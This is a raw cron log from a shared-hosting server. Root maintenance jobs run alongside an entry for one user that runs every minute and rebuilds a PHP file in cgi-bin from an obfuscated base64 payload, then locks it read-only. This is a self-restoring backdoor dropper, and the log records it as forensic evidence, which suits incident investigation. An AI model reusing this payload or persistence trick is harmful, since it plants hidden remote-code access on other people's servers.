Sep  5 09:00:01 server CROND[23657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:00:01 server CROND[23654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:00:01 server CROND[23656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:00:01 server CROND[23658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:00:01 server CROND[23655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:00:01 server CROND[23651]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 09:00:01 server CROND[23653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:00:01 server CROND[23650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:01:01 server CROND[24592]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 09:01:01 server CROND[24595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:01:01 server CROND[24594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:01:01 server CROND[24593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:01:01 server run-parts(/etc/cron.hourly)[24592]: starting 0anacron
Sep  5 09:01:01 server run-parts(/etc/cron.hourly)[24616]: finished 0anacron
Sep  5 09:02:01 server CROND[24978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:02:01 server CROND[24979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:02:01 server CROND[24980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:03:01 server CROND[25363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:03:01 server CROND[25364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:03:01 server CROND[25365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:04:01 server CROND[25763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:04:01 server CROND[25764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:04:01 server CROND[25765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:05:01 server CROND[26151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:05:01 server CROND[26153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:05:01 server CROND[26155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:05:01 server CROND[26159]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:05:01 server CROND[26163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:05:01 server CROND[26160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:05:01 server CROND[26162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:05:01 server CROND[26161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:06:01 server CROND[27186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:06:01 server CROND[27187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:06:01 server CROND[27188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:07:01 server CROND[28047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:07:01 server CROND[28048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:07:01 server CROND[28049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:08:01 server CROND[28418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:08:01 server CROND[28419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:08:01 server CROND[28420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:09:01 server CROND[28792]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 09:09:01 server CROND[28794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:09:01 server CROND[28793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:09:01 server CROND[28796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:10:01 server CROND[29180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:10:01 server CROND[29181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:10:01 server CROND[29185]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:10:01 server CROND[29189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:10:01 server CROND[29188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:10:01 server CROND[29187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:10:01 server CROND[29186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:10:01 server CROND[29191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:11:01 server CROND[30101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0